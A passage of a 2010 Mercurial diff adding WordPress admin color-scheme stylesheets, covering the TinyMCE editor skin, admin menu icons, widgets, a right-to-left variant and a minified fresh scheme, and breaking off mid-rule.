+.wp_themeSkin .mceColorSplitMenu a.mceMoreColors { + border-color: #fff; +} + +.wp_themeSkin .mceColorSplitMenu a.mceMoreColors:hover { + border-color: #0a246a; + background-color: #b6bdd2; +} + +.wp_themeSkin a.mceMoreColors:hover { + border-color: #0a246a; +} + +/* Menu */ +.wp_themeSkin .mceMenu { + border-color: #ddd; +} + +.wp_themeSkin .mceMenu table { + background-color: #ebeaeb; +} + +.wp_themeSkin .mceMenu .mceText { + color: #000; +} + +.wp_themeSkin .mceMenu .mceMenuItemEnabled a:hover, +.wp_themeSkin .mceMenu .mceMenuItemActive { + background-color: #f5f5f5; +} +.wp_themeSkin td.mceMenuItemSeparator { + background-color: #aaa; +} +.wp_themeSkin .mceMenuItemTitle a { + background-color: #ccc; + border-bottom-color: #aaa; +} +.wp_themeSkin .mceMenuItemTitle span.mceText { + color: #000; +} +.wp_themeSkin .mceMenuItemDisabled .mceText { + color: #888; +} + +#quicktags, +.wp_themeSkin tr.mceFirst td.mceToolbar { + background: #e3eef7 url("../images/ed-bg-vs.gif") repeat-x scroll left top; +} +.wp_themeSkin tr.mceFirst td.mceToolbar { + border-color: #dfdfdf; +} + +.wp-admin #mceModalBlocker { + background: #000; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop .mceLeft { + background: #444; + border-left: 1px solid #999; + border-top: 1px solid #999; + -moz-border-radius: 4px 0 0 0; + -webkit-border-top-left-radius: 4px; + -khtml-border-top-left-radius: 4px; + border-top-left-radius: 4px; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop .mceRight { + background: #444; + border-right: 1px solid #999; + border-top: 1px solid #999; + border-top-right-radius: 4px; + -khtml-border-top-right-radius: 4px; + -webkit-border-top-right-radius: 4px; + -moz-border-radius: 0 4px 0 0; +} + +.wp-admin .clearlooks2 .mceMiddle .mceLeft { + background: #f1f1f1; + border-left: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceMiddle .mceRight { + background: #f1f1f1; + border-right: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom { + background: #f1f1f1; + border-bottom: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceLeft { + background: #f1f1f1; + border-bottom: 1px solid #999; + border-left: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceCenter { + background: #f1f1f1; + border-bottom: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceBottom .mceRight { + background: #f1f1f1; + border-bottom: 1px solid #999; + border-right: 1px solid #999; +} + +.wp-admin .clearlooks2 .mceFocus .mceTop span { + color: #e5e5e5; +} +/* end TinyMCE */ + +#editorcontainer, +#post-status-info, +#titlediv #title, +.editwidget .widget-inside { + border-color: #dfdfdf; +} + +#titlediv #title { + background-color: #fff; +} + +#tTips p#tTips_inside { + background-color: #ddd; + color: #333; +} + +#timestampdiv input, +#namediv input, +#poststuff .inside .the-tagcloud { + border-color: #dfdfdf; +} + +/* menu */ +#adminmenu * { + border-color: #dfdfdf; +} + +#adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px; +} + +.folded #adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px; +} + +#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, +#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -207px; +} + +#adminmenu .wp-has-submenu:hover .wp-menu-toggle, +#adminmenu .wp-menu-open .wp-menu-toggle { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px; +} + +#adminmenu a.menu-top { + background: #eaf3fa url(../images/menu-bits-vs.gif) repeat-x scroll left -379px; +} + +#adminmenu .wp-submenu a { + background: #fff url(../images/menu-bits-vs.gif) no-repeat scroll 0 -310px; +} + +#adminmenu .wp-has-current-submenu ul li a { + background: none; +} + +#adminmenu .wp-has-current-submenu ul li a.current { + background: url(../images/menu-dark.gif) top left no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, +#adminmenu .menu-top .current { + background: #3c6b95 url(../images/menu-bits-vs.gif) top left repeat-x; + border-color: #1d507d; + color: #fff; + text-shadow: rgba(0,0,0,0.4) 0 -1px 0; +} + +#adminmenu li.wp-has-current-submenu .wp-submenu, +#adminmenu li.wp-has-current-submenu ul li a { + border-color: #aaa !important; +} + +#adminmenu li.wp-has-current-submenu ul li a { + background: url(../images/menu-dark.gif) bottom left no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu ul { + border-bottom-color: #aaa; +} + +#adminmenu li.menu-top .current:hover { + border-color: #6583c0; +} + +#adminmenu .wp-submenu .current a.current { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll 0 -289px; +} + +#adminmenu .wp-submenu a:hover { + background-color: #eaf2fa !important; + color: #333 !important; +} + +#adminmenu .wp-submenu li.current, +#adminmenu .wp-submenu li.current a, +#adminmenu .wp-submenu li.current a:hover { + color: #333; + background-color: #f5f5f5; + background-image: none; + border-color: #e3e3e3; + text-shadow: rgba(255,255,255,1) 0 1px 0; +} + +#adminmenu .wp-submenu ul { + background-color: #fff; +} + +.folded #adminmenu li.menu-top, +#adminmenu .wp-submenu .wp-submenu-head { + background-color: #eaf2fa; +} + +.folded #adminmenu li.wp-has-current-submenu, +.folded #adminmenu li.menu-top.current { + background-color: #bbd8e7; +} + +#adminmenu .wp-has-current-submenu .wp-submenu .wp-submenu-head { + background-color: #bbd8e7; + border-color: #8cbdd5; +} + +#adminmenu div.wp-submenu { + background-color: transparent; +} + +/* menu icons */ +#adminmenu #menu-dashboard div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -61px -33px; +} + +#adminmenu #menu-dashboard:hover div.wp-menu-image, +#adminmenu #menu-dashboard.wp-has-current-submenu div.wp-menu-image, +#adminmenu #menu-dashboard.current div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -61px -1px; +} + +#adminmenu #menu-posts div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -272px -33px; +} + +#adminmenu #menu-posts:hover div.wp-menu-image, +#adminmenu #menu-posts.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -272px -1px; +} + +#adminmenu #menu-media div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -121px -33px; +} + +#adminmenu #menu-media:hover div.wp-menu-image, +#adminmenu #menu-media.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -121px -1px; +} + +#adminmenu #menu-links div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -91px -33px; +} + +#adminmenu #menu-links:hover div.wp-menu-image, +#adminmenu #menu-links.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -91px -1px; +} + +#adminmenu #menu-pages div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -151px -33px; +} + +#adminmenu #menu-pages:hover div.wp-menu-image, +#adminmenu #menu-pages.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -151px -1px; +} + +#adminmenu #menu-comments div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -31px -33px; +} + +#adminmenu #menu-comments:hover div.wp-menu-image, +#adminmenu #menu-comments.wp-has-current-submenu div.wp-menu-image, +#adminmenu #menu-comments.current div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -31px -1px; +} + +#adminmenu #menu-appearance div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -1px -33px; +} + +#adminmenu #menu-appearance:hover div.wp-menu-image, +#adminmenu #menu-appearance.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -1px -1px; +} + +#adminmenu #menu-plugins div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -181px -33px; +} + +#adminmenu #menu-plugins:hover div.wp-menu-image, +#adminmenu #menu-plugins.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -181px -1px; +} + +#adminmenu #menu-users div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -301px -33px; +} + +#adminmenu #menu-users:hover div.wp-menu-image, +#adminmenu #menu-users.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -301px -1px; +} + +#adminmenu #menu-tools div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -211px -33px; +} + +#adminmenu #menu-tools:hover div.wp-menu-image, +#adminmenu #menu-tools.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -211px -1px; +} + +#adminmenu #menu-settings div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -241px -33px; +} + +#adminmenu #menu-settings:hover div.wp-menu-image, +#adminmenu #menu-settings.wp-has-current-submenu div.wp-menu-image { + background: transparent url("../images/menu-vs.png") no-repeat scroll -241px -1px; +} +/* end menu */ + + +/* Diff */ +table.diff .diff-deletedline { + background-color: #fdd; +} + +table.diff .diff-deletedline del { + background-color: #f99; +} + +table.diff .diff-addedline { + background-color: #dfd; +} + +table.diff .diff-addedline ins { + background-color: #9f9; +} + +#att-info { + background-color: #e4f2fd; +} + +/* edit image */ +#sidemenu a { + background-color: #f9f9f9; + border-color: #f9f9f9; + border-bottom-color: #dfdfdf; +} + +#sidemenu a.current { + background-color: #fff; + border-color: #dfdfdf #dfdfdf #fff; + color: #d54e21; +} + +#screen-options-wrap, +#contextual-help-wrap { + background-color: #eae9e4; + border-color: #dfdfdf; +} + +#screen-meta-links a.show-settings { + color: #606060; +} + +#screen-meta-links a.show-settings:hover { + color: #000; +} + +#replysubmit { + background-color: #f1f1f1; + border-top-color: #ddd; +} + +#replyerror { + border-color: #ddd; + background-color: #f9f9f9; +} + +#edithead, +#replyhead { + background-color: #f1f1f1; +} + +#ed_reply_toolbar { + background-color: #e9e9e9; +} + +/* table vim shortcuts */ +.vim-current, +.vim-current th, +.vim-current td { + background-color: #e4f2fd !important; +} + +/* Install Plugins */ +.star-average, +.star.star-rating { + background-color: #fc0; +} + +div.star.select:hover { + background-color: #d00; +} + +#plugin-information .fyi ul { + background-color: #eaf3fa; +} + +#plugin-information .fyi h2.mainheader { + background-color: #cee1ef; +} + +#plugin-information pre, +#plugin-information code { + background-color: #ededff; +} + +#plugin-information pre { + border: 1px solid #ccc; +} + +/* inline editor */ +.inline-edit-row fieldset input[type="text"], +.inline-edit-row fieldset textarea, +#bulk-titles, +#replyrow input { + border-color: #ddd; +} + +.inline-editor div.title { + background-color: #eaf3fa; +} + +.inline-editor ul.cat-checklist { + background-color: #fff; + border-color: #ddd; +} + +.inline-editor .categories .catshow, +.inline-editor .categories .cathide { + color: #21759b; +} + +.inline-editor .quick-edit-save { + background-color: #f1f1f1; +} + +#replyrow #ed_reply_toolbar input:hover { + border-color: #aaa; + background: #ddd; +} + +fieldset.inline-edit-col-right .inline-edit-col { + border-color: #dfdfdf; +} + +.attention { + color: #d54e21; +} + +.meta-box-sortables .postbox:hover .handlediv { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -111px; +} + +#major-publishing-actions { + background: #eaf2fa; +} + +.tablenav .tablenav-pages { + color: #555; +} + +.tablenav .tablenav-pages a { + border-color: #e3e3e3; + background: #eee url('../images/menu-bits-vs.gif') repeat-x scroll left -379px; +} + +.tablenav .tablenav-pages a:hover { + color: #d54e21; + border-color: #d54321; +} + +.tablenav .tablenav-pages a:active { + color: #fff !important; +} + +.tablenav .tablenav-pages .current { + background: #dfdfdf; + border-color: #d3d3d3; +} + +#availablethemes, +#availablethemes td { + border-color: #ddd; +} + +#current-theme img { + border-color: #999; +} + +#TB_window #TB_title a.tb-theme-preview-link, +#TB_window #TB_title a.tb-theme-preview-link:visited { + color: #999; +} + +#TB_window #TB_title a.tb-theme-preview-link:hover, +#TB_window #TB_title a.tb-theme-preview-link:focus { + color: #ccc; +} + +.misc-pub-section { + border-bottom-color: #eee; +} + +#minor-publishing { + border-bottom-color: #ddd; +} + +#post-body .misc-pub-section { + border-right-color: #eee; +} + +.post-com-count span { + background-color: #bbb; +} + +.form-table .color-palette td { + border-color: #fff; +} + +.sortable-placeholder { + border-color: #bbb; + background-color: #f5f5f5; +} + +#post-body ul#category-tabs li.tabs a { + color: #333; +} + +#wp_editimgbtn, +#wp_delimgbtn, +#wp_editgallery, +#wp_delgallery { + border-color: #999; + background-color: #eee; +} + +#wp_editimgbtn:hover, +#wp_delimgbtn:hover, +#wp_editgallery:hover, +#wp_delgallery:hover { + border-color: #555; + background-color: #ccc; +} + +#favorite-first { + background: #5580a6 url(../images/fav-vs.png) repeat-x 0 center; + border-color: #517ea5 !important; + border-bottom-color: #416686 !important; +} + +#favorite-actions .slide-down { + background-image: url(../images/fav-top-vs.gif); + background-position:0 0; + background-repeat: repeat-x; +} + +#favorite-inside { + border-color: #5b86ac; + background-color: #5580a6; +} + +#favorite-toggle { + background: transparent url(../images/fav-arrow-vs.gif) no-repeat 0 -4px; +} + +#favorite-actions a { + color: #ddd; +} + +#favorite-actions a:hover { + color: #fff; +} + +#favorite-inside a:hover { + text-decoration: underline; +} + +#favorite-actions .slide-down { + border-bottom-color: #626262; +} + +#screen-meta a.show-settings { + background-color: transparent; + text-shadow: rgba(255,255,255,0.7) 0 1px 0; +} + +#icon-edit, +#icon-post { + background: transparent url(../images/icons32-vs.png) no-repeat -552px -5px; +} + +#icon-index { + background: transparent url(../images/icons32-vs.png) no-repeat -137px -5px; +} + +#icon-upload { + background: transparent url(../images/icons32-vs.png) no-repeat -251px -5px; +} + +#icon-link-manager, +#icon-link, +#icon-link-category { + background: transparent url(../images/icons32-vs.png) no-repeat -190px -5px; +} + +#icon-edit-pages, +#icon-page { + background: transparent url(../images/icons32-vs.png) no-repeat -312px -5px; +} + +#icon-edit-comments { + background: transparent url(../images/icons32-vs.png) no-repeat -72px -5px; +} + +#icon-themes { + background: transparent url(../images/icons32-vs.png) no-repeat -11px -5px; +} + +#icon-plugins { + background: transparent url(../images/icons32-vs.png) no-repeat -370px -5px; +} + +#icon-users, +#icon-profile, +#icon-user-edit { + background: transparent url(../images/icons32-vs.png) no-repeat -600px -5px; +} + +#icon-tools, +#icon-admin { + background: transparent url(../images/icons32-vs.png) no-repeat -432px -5px; +} + +#icon-options-general { + background: transparent url(../images/icons32-vs.png) no-repeat -492px -5px; +} + +.view-switch #view-switch-list { + background: transparent url(../images/list-vs.png) no-repeat 0 0; +} + +.view-switch #view-switch-list.current { + background: transparent url(../images/list-vs.png) no-repeat -40px 0; +} + +.view-switch #view-switch-excerpt { + background: transparent url(../images/list-vs.png) no-repeat -20px 0; +} + +.view-switch #view-switch-excerpt.current { + background: transparent url(../images/list-vs.png) no-repeat -60px 0; +} + +#header-logo { + background: transparent url(../images/wp-logo-vs.gif) no-repeat scroll center center; +} + +#wphead #site-visit-button { + background-color: #3c6b95; + background-image: url(../images/visit-site-button-grad-vs.gif); + color: #b6d1e4; + text-shadow: #3f3f3f 0 -1px 0; +} + +#wphead a:hover #site-visit-button { + color: #fff; +} + +#wphead a:focus #site-visit-button, +#wphead a:active #site-visit-button { + background-position: 0 -27px; +} + +.popular-tags, +.feature-filter { + background-color: #fff; + border-color: #dfdfdf; +} + +#theme-information .action-button { + border-top-color: #dfdfdf; +} + +.theme-listing br.line { + border-bottom-color: #ccc; +} + +div.widgets-sortables, +#widgets-left .inactive { + background-color: #f1f1f1; + border-color: #ddd; +} + +#available-widgets .widget-holder { + background-color: #fff; + border-color: #ddd; +} + +#widgets-left .sidebar-name { + background-color: #aaa; + background-image: url(../images/ed-bg-vs.gif); + text-shadow: #FFFFFF 0 1px 0; + border-color: #dfdfdf; +} + +#widgets-right .sidebar-name { + background-image: url(../images/fav-vs.png); + text-shadow: #3f3f3f 0 -1px 0; + background-color: #636363; + border-color: #636363; + color: #fff; +} + +.sidebar-name:hover, +#removing-widget { + color: #d54e21; +} + +#removing-widget span { + color: black; +} + +#widgets-left .sidebar-name-arrow { + background: transparent url(../images/menu-bits-vs.gif) no-repeat scroll left -109px; +} + +#widgets-right .sidebar-name-arrow { + background: transparent url(../images/fav-arrow-vs.gif) no-repeat scroll 0 -1px; +} + +.in-widget-title { + color: #606060; +} + +.deleting .widget-title * { + color: #aaa; +} + +.imgedit-menu div { + border-color: #d5d5d5; + background-color: #f1f1f1; +} + +.imgedit-menu div:hover { + border-color: #c1c1c1; + background-color: #eaeaea; +} + +.imgedit-menu div.disabled { + border-color: #ccc; + background-color: #ddd; + filter: alpha(opacity=50); + opacity: 0.5; +} + +#dashboard_recent_comments div.undo { + border-top-color: #dfdfdf; +} + +.comment-ays, +.comment-ays th { + border-color: #ddd; +} + +.comment-ays th { + background-color: #f1f1f1; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-fresh-rtl.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-fresh-rtl.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,83 @@ +.bar { + border-right-color: transparent; + border-left-color: #99d; +} + +.plugins .togl { + border-right-color: transparent; + border-left-color: #ccc; +} + +.post-com-count { + background-image: url(../images/bubble_bg-rtl.gif); +} +.tablenav .tablenav-pages a { + background: #eee url('../images/menu-bits-rtl.gif') repeat-x scroll right -379px; +} +#upload-menu li.current { + border-right-color: transparent; + border-left-color: #448abd; +} + +#adminmenu .wp-submenu .current a.current { + background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll right -289px; +} + +#adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll right -34px; +} + +.folded #adminmenu li.wp-menu-separator { + background: transparent url(../images/menu-arrows.gif) no-repeat scroll left 5px; +} + +#adminmenu li.wp-has-current-submenu .wp-menu-toggle, +#adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl.gif) repeat-x scroll right -207px; +} + +#adminmenu .wp-has-current-submenu ul li a.current { + background: url(../images/menu-dark-rtl.gif) top right no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-current-submenu, +#adminmenu .menu-top .current { + background: url(../images/menu-bits-rtl.gif) top right repeat-x; +} + +#adminmenu li.wp-has-current-submenu ul li a { + background: url(../images/menu-dark-rtl.gif) bottom right no-repeat !important; +} + +#adminmenu li.wp-has-current-submenu.wp-menu-open .wp-menu-toggle, #adminmenu li.wp-has-current-submenu:hover .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl.gif) no-repeat right -207px; +} + +#adminmenu .wp-has-submenu:hover .wp-menu-toggle, +#adminmenu .wp-menu-open .wp-menu-toggle { + background: transparent url(../images/menu-bits-rtl.gif) repeat-x scroll right -109px; +} + +#adminmenu a.wp-has-submenu { + background: #f1f1f1 url(../images/menu-bits-rtl.gif) repeat-x scroll right -379px; +} + +#adminmenu .wp-submenu a { + background: #FFFFFF url(../images/menu-bits-rtl.gif) no-repeat scroll right -310px; +} + +#adminmenu li.current a, +#adminmenu .wp-submenu a:hover { + background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll right -289px; +} + +#adminmenu li.wp-has-current-submenu a.wp-has-submenu { + background: #b5b5b5 url(../images/menu-bits-rtl.gif) repeat-x scroll right top; +} + +.meta-box-sortables .postbox:hover .handlediv { + background: transparent url(../images/menu-bits-rtl.gif) no-repeat scroll right -111px; +} +#favorite-toggle { + background: transparent url(../images/fav-arrow-rtl.gif) no-repeat right -4px; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-admin/css/colors-fresh.css --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-admin/css/colors-fresh.css Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,1 @@ +html{background-color:#f9f9f9;}* html input,* html .widget{border-color:#dfdfdf;}textarea,input[type="text"],input[type="password"],input[type="file"],input[type="button"],input[type="submit"],input[type="reset"],select{border-color:#dfdfdf;background-color:#fff;}kbd,code{background:#eaeaea;}input[readonly]{background-color:#eee;}.find-box-search{border-color:#dfdfdf;background-color:#f1f1f1;}.find-box{background-color:#f1f1f1;}.find-box-inside{background-color:#fff;}a.page-numbers:hover{border-color:#999;}body,#wpbody,.form-table .pre{color:#333;}body>#upload-menu{border-bottom-color:#fff;}#postcustomstuff table,#your-profile fieldset,#rightnow,div.dashboard-widget,#dashboard-widgets p.dashboard-widget-links,#replyrow #ed_reply_toolbar input{border-color:#ccc;}#poststuff .inside label.spam,#poststuff .inside label.deleted{color:red;}#poststuff .inside label.waiting{color:orange;}#poststuff .inside label.approved{color:green;}#postcustomstuff table{border-color:#dfdfdf;background-color:#F9F9F9;}#postcustomstuff thead th{background-color:#F1F1F1;}#postcustomstuff table input,#postcustomstuff table textarea{border-color:#dfdfdf;background-color:#fff;}.widefat{border-color:#dfdfdf;background-color:#fff;}div.dashboard-widget-error{background-color:#c43;}div.dashboard-widget-notice{background-color:#cfe1ef;}div.dashboard-widget-submit{border-top-color:#ccc;}div.tabs-panel,ul#category-tabs li.tabs{border-color:#dfdfdf;}ul#category-tabs li.tabs{background-color:#f1f1f1;}input.disabled,textarea.disabled{background-color:#ccc;}.login #backtoblog a:hover,#plugin-information .action-button a,#plugin-information .action-button a:hover,#plugin-information .action-button a:visited{color:#fff;}.widget .widget-top,.postbox h3,.stuffbox h3{background:#dfdfdf url("../images/gray-grad.png") repeat-x left top;text-shadow:#fff 0 1px 0;}.form-table th,.form-wrap label{color:#222;text-shadow:#fff 0 1px 0;}.description,.form-wrap p{color:#666;}strong .post-com-count span{background-color:#21759b;}.sorthelper{background-color:#ccf3fa;}.ac_match,.subsubsub a.current{color:#000;}.wrap h2{color:#464646;}.ac_over{background-color:#f0f0b8;}.ac_results{background-color:#fff;border-color:#808080;}.ac_results li{color:#101010;}.alternate,.alt{background-color:#f9f9f9;}.available-theme a.screenshot{background-color:#f1f1f1;border-color:#ddd;}.bar{background-color:#e8e8e8;border-right-color:#99d;}#media-upload,#media-upload .media-item .slidetoggle{background:#fff;}#media-upload .slidetoggle{border-top-color:#dfdfdf;}.error,.login #login_error{background-color:#ffebe8;border-color:#c00;}.error a{color:#c00;}.form-invalid{background-color:#ffebe8!important;}.form-invalid input,.form-invalid select{border-color:#c00!important;}.submit{border-color:#DFDFDF;}.highlight{background-color:#e4f2fd;color:#d54e21;}.howto,.nonessential,#edit-slug-box,.form-input-tip,.rss-widget span.rss-date,.subsubsub{color:#666;}.media-item{border-bottom-color:#dfdfdf;}#wpbody-content #media-items .describe{border-top-color:#dfdfdf;}.media-upload-form label.form-help,td.help{color:#9a9a9a;}.post-com-count{background-image:url(../images/bubble_bg.gif);color:#fff;}.post-com-count span{background-color:#bbb;color:#fff;}.post-com-count:hover span{background-color:#d54e21;}.quicktags,.search{background-color:#ccc;color:#000;}.side-info h5{border-bottom-color:#dadada;}.side-info ul{color:#666;}.button,.button-secondary,.submit input,input[type=button],input[type=submit]{border-color:#bbb;color:#464646;}.button:hover,.button-secondary:hover,.submit input:hover,input[type=button]:hover,input[type=submit]:hover{color:#000;border-color:#666;}.button,.submit input,.button-secondary{background:#f2f2f2 url(../images/white-grad.png) repeat-x scroll left top;text-shadow:rgba(255,255,255,1) 0 1px 0;}.button:active,.submit input:active,.button-secondary:active{background:#eee url(../images/white-grad-active.png) repeat-x scroll left top;}input.button-primary,button.button-primary,a.button-primary{border-color:#298cba;font-weight:bold;color:#fff;background:#21759B url(../images/button-grad.png) repeat-x scroll left top;text-shadow:rgba(0,0,0,0.3) 0 -1px 0;}input.button-primary:active,button.button-primary:active,a.button-primary:active{background:#21759b url(../images/button-grad-active.png) repeat-x scroll left top;color:#eaf2fa;}input.button-primary:hover,button.button-primary:hover,a.button-primary:hover,a.button-primary:focus,a.button-primary:active{border-color:#13455b;color:#eaf2fa;}.button-disabled,.button[disabled],.button:disabled,.button-secondary[disabled],.button-secondary:disabled,a.button.disabled{color:#aaa!important;border-color:#ddd!important;}.button-primary-disabled,.button-primary[disabled],.button-primary:disabled{color:#9FD0D5!important;background:#298CBA!important;}a:hover,a:active,a:focus{color:#d54e21;}#wphead #viewsite a:hover,#adminmenu a:hover,#adminmenu ul.wp-submenu a:hover,#the-comment-list .comment a:hover,#rightnow a:hover,#media-upload a.del-link:hover,div.dashboard-widget-submit input:hover,.subsubsub a:hover,.subsubsub a.current:hover,.ui-tabs-nav a:hover,.plugins .inactive a:hover,#all-plugins-table .plugins .inactive a:hover,#search-plugins-table .plugins .inactive a:hover{color:#d54e21;}#the-comment-list .comment-item,#dashboard-widgets #dashboard_quick_press form p.submit{border-color:#dfdfdf;}#side-sortables #category-tabs .tabs a{color:#333;}#rightnow .rbutton{background-color:#ebebeb;color:#264761;}.submitbox .submit{background-color:#464646;color:#ccc;}.plugins a.delete:hover,#all-plugins-table .plugins a.delete:hover,#search-plugins-table .plugins a.delete:hover,.submitbox .submitdelete{color:#f00;border-bottom-color:#f00;}.submitbox .submitdelete:hover,#media-items a.delete:hover{color:#fff;background-color:#f00;border-bottom-color:#f00;}#normal-sortables .submitbox .submitdelete:hover{color:#000;background-color:#f00;border-bottom-color:#f00;}.tablenav .dots{border-color:transparent;}.tablenav .next,.tablenav .prev{border-color:transparent;color:#21759b;}.tablenav .next:hover,.tablenav .prev:hover{border-color:transparent;color:#d54e21;}.updated,.login .message{background-color:#ffffe0;border-color:#e6db55;}.update-message{color:#000;}a.page-numbers{border-bottom-color:#B8D3E2;}.commentlist li{border-bottom-color:#ccc;}.widefat td,.widefat th,#install-plugins .plugins td,#install-plugins .plugins th{border-color:#dfdfdf;}.widefat th{text-shadow:rgba(255,255,255,0.8) 0 1px 0;}.widefat thead tr th,.widefat tfoot tr th,h3.dashboard-widget-title,h3.dashboard-widget-title span,h3.dashboard-widget-title small,.find-box-head{color:#333;background:#dfdfdf url(../images/gray-grad.png) repeat-x scroll left top;}h3.dashboard-widget-title small a{color:#d7d7d7;}h3.dashboard-widget-title small a:hover{color:#fff;}a,#adminmenu a,#poststuff #edButtonPreview,#poststuff #edButtonHTML,#the-comment-list p.comment-author strong a,#media-upload a.del-link,#media-items a.delete,.plugins a.delete,.ui-tabs-nav a{color:#21759b;}body.press-this .tabs a,body.press-this .tabs a:hover{background-color:#fff;border-color:#c6d9e9;border-bottom-color:#fff;color:#d54e21;}#adminmenu #awaiting-mod,#adminmenu .update-plugins,#sidemenu a .update-plugins,#rightnow .reallynow,#plugin-information .action-button{background-color:#d54e21;color:#fff;}#adminmenu li a:hover #awaiting-mod,#adminmenu li a:hover .update-plugins,#sidemenu li a:hover .update-plugins{background-color:#264761;color:#fff;}#adminmenu li.current a #awaiting-mod,#adminmenu li.current a .update-plugins,#adminmenu li.wp-has-current-submenu a .update-plugins,#adminmenu li.wp-has-current-submenu a .update-plugins{background-color:#ddd;color:#000;text-shadow:none;-moz-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;-khtml-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;-webkit-box-shadow:rgba(0,0,0,0.2) 0 -1px 0;box-shadow:rgba(0,0,0,0.2) 0 -1px 0;}#adminmenu li.current a:hover #awaiting-mod,#adminmenu li.current a:hover .update-plugins,#adminmenu li.wp-has-current-submenu a:hover #awaiting-mod,#adminmenu li.wp-has-current-submenu a:hover .update-plugins{background-color:#264761;color:#fff;}div#media-upload-header,div#plugin-information-header{background-color:#f9f9f9;border-bottom-color:#dfdfdf;}#currenttheme img{border-color:#666;}#dashboard_secondary div.dashboard-widget-content ul li a{background-color:#f9f9f9;}input.readonly,textarea.readonly{background-color:#ddd;}#ed_toolbar input,#ed_reply_toolbar input{background:#fff url("../images/fade-butt.png") repeat-x 0 -2px;}#editable-post-name{background-color:#fffbcc;}#edit-slug-box strong,.tablenav .displaying-num,#submitted-on{color:#777;}.login #nav a{color:#21759b!important;}.login #nav a:hover{color:#d54e21!important;}#footer,#footer-upgrade{background:#464646;color:#999;}#media-items,.imgedit-group{border-color:#dfdfdf;}.checkbox,.side-info,.plugins tr,#your-profile #rich_editing{background-color:#fff;}.plugins .inactive,.plugins .inactive th,.plugins .inactive td,tr.inactive+tr.plugin-update-tr .plugin-update{background-color:#eee;}.plugin-update-tr .update-message{background-color:#fffbe4;border-color:#dfdfdf;}.plugins .active,.plugins .active th,.plugins .active td{color:#000;}.plugins .inactive a{color:#579;}#the-comment-list tr.undo,#the-comment-list div.undo{background-color:#f4f4f4;}#the-comment-list .unapproved{background-color:#ffffe0;}#the-comment-list .approve a{color:#006505;}#the-comment-list .unapprove a{color:#d98500;}table.widefat span.delete a,table.widefat span.trash a,table.widefat span.spam a,#dashboard_recent_comments .delete a,#dashboard_recent_comments .trash a,#dashboard_recent_comments .spam a{color:#bc0b0b;}.widget,#widget-list .widget-top,.postbox,#titlediv,#poststuff .postarea,.stuffbox{border-color:#dfdfdf;}.widget,.postbox{background-color:#fff;}.ui-sortable .postbox h3{color:#464646;}.widget .widget-top,.ui-sortable .postbox h3:hover{color:#000;}.curtime #timestamp{background-image:url(../images/date-button.gif);}#quicktags #ed_link{color:#00f;}#rightnow .youhave{background-color:#f0f6fb;}#rightnow a{color:#448abd;}.tagchecklist span a,#bulk-titles div a{background:url(../images/xit.gif) no-repeat;}.tagchecklist span a:hover,#bulk-titles div a:hover{background:url(../images/xit.gif) no-repeat -10px 0;}#update-nag{background-color:#fffeeb;border-color:#ccc;color:#555;}.login #backtoblog a{color:#ccc;}#wphead{background-color:#464646;}body.login{border-top-color:#464646;}#wphead h1 